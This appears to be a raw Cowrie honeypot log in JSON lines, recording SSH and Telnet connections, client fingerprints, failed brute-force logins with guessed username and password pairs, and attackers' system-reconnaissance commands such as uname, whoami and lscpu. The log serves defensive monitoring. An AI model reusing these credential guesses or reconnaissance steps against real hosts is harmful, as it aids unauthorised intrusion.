{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:21.692836Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:21.893114Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:22.327487Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:22.331119Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:22.413792Z","src_ip":"103.176.20.115","session":"8466bf6bfd06","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:22.531701Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:22.973073Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:22.976636Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:23.177326Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:23.608524Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:23.611727Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:23.810851Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:24.250746Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:24.254345Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:24.454674Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:24.902255Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:24.905935Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:25.107353Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:25.560753Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:25.563987Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:25.765163Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:26.200656Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:26.204152Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":49032,"dst_ip":"10.17.0.5","dst_port":23,"session":"06fddc817f6c","protocol":"telnet","message":"New connection: 65.60.27.33:49032 (10.17.0.5:23) [session: 06fddc817f6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:26.300090Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:26.404896Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.4","message":"Connection lost after 17.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:26.410143Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.48875713348389,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:31.997335Z","src_ip":"65.60.27.33","session":"044bd40d20a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":38444,"dst_ip":"10.17.0.5","dst_port":23,"session":"abbdbc2ac5d3","protocol":"telnet","message":"New connection: 65.60.27.33:38444 (10.17.0.5:23) [session: abbdbc2ac5d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:42.664628Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":33572,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c77dc9158be","protocol":"telnet","message":"New connection: 38.54.119.93:33572 (10.17.0.5:23) [session: 8c77dc9158be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:42.728194Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":58382,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd8bf347327e","protocol":"telnet","message":"New connection: 45.81.23.16:58382 (10.17.0.5:23) [session: bd8bf347327e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:43.469397Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":36172,"dst_ip":"10.17.0.5","dst_port":23,"session":"67a541a9f8ff","protocol":"telnet","message":"New connection: 38.54.119.93:36172 (10.17.0.5:23) [session: 67a541a9f8ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:46.372086Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.115.234","src_port":53810,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f7e452d1a52","protocol":"ssh","message":"New connection: 14.103.115.234:53810 (10.17.0.5:22) [session: 6f7e452d1a52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:47.455936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:47.460992Z","src_ip":"14.103.115.234","session":"6f7e452d1a52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:47.698431Z","src_ip":"14.103.115.234","session":"6f7e452d1a52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.127.97","src_port":39426,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4d12f22091d","protocol":"ssh","message":"New connection: 14.103.127.97:39426 (10.17.0.5:22) [session: e4d12f22091d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:48.153330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:48.158342Z","src_ip":"14.103.127.97","session":"e4d12f22091d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@2011","message":"login attempt [root/admin@2011] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:48.678838Z","src_ip":"14.103.115.234","session":"6f7e452d1a52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:49.332588Z","src_ip":"14.103.127.97","session":"e4d12f22091d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.020435571670532,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:49.684903Z","src_ip":"65.60.27.33","session":"abbdbc2ac5d3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@2011","message":"login attempt [root/admin@2011] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:50.064234Z","src_ip":"14.103.127.97","session":"e4d12f22091d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:51.312460Z","src_ip":"14.103.127.97","session":"e4d12f22091d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":57250,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9c5dd3b12c9","protocol":"ssh","message":"New connection: 20.203.42.204:57250 (159.203.135.109:22) [session: f9c5dd3b12c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:53.875945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:53.882021Z","src_ip":"20.203.42.204","session":"f9c5dd3b12c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:54.048085Z","src_ip":"20.203.42.204","session":"f9c5dd3b12c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-psql","password":"123","message":"login attempt [gitlab-psql/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:54.741046Z","src_ip":"20.203.42.204","session":"f9c5dd3b12c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.763641357421875,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:55.135649Z","src_ip":"38.54.119.93","session":"67a541a9f8ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:55.910735Z","src_ip":"20.203.42.204","session":"f9c5dd3b12c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":33186,"dst_ip":"159.203.135.109","dst_port":23,"session":"25da598031ef","protocol":"telnet","message":"New connection: 192.211.53.160:33186 (159.203.135.109:23) [session: 25da598031ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:56.246845Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":33470,"dst_ip":"159.203.135.109","dst_port":23,"session":"223ea0554373","protocol":"telnet","message":"New connection: 192.211.53.160:33470 (159.203.135.109:23) [session: 223ea0554373]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:58.364775Z"}
{"eventid":"cowrie.session.closed","duration":39.51490330696106,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:59.039314Z","src_ip":"65.60.27.33","session":"b5e6aa8563f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"61.72.55.130","src_port":49502,"dst_ip":"159.203.135.109","dst_port":22,"session":"96c583a82a63","protocol":"ssh","message":"New connection: 61.72.55.130:49502 (159.203.135.109:22) [session: 96c583a82a63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:00:01.218391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:00:01.228799Z","src_ip":"61.72.55.130","session":"96c583a82a63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:00:01.427484Z","src_ip":"61.72.55.130","session":"96c583a82a63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3lch3","message":"login attempt [admin/3lch3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:00:02.247298Z","src_ip":"61.72.55.130","session":"96c583a82a63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":46526,"dst_ip":"10.17.0.5","dst_port":23,"session":"afb9f4ce5521","protocol":"telnet","message":"New connection: 38.54.119.93:46526 (10.17.0.5:23) [session: afb9f4ce5521]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:00:03.294784Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:00:03.448201Z","src_ip":"61.72.55.130","session":"96c583a82a63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.79504418373108,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:00:04.095046Z","src_ip":"65.60.27.33","session":"06fddc817f6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"60.199.224.2","src_port":42616,"dst_ip":"159.203.135.109","dst_port":22,"session":"2bf5aec3d171","protocol":"ssh","message":"New connection: 60.199.224.2:42616 (159.203.135.109:22) [session: 2bf5aec3d171]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:00:08.334969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:00:08.347623Z","src_ip":"60.199.224.2","session":"2bf5aec3d171","protocol":"ssh"}
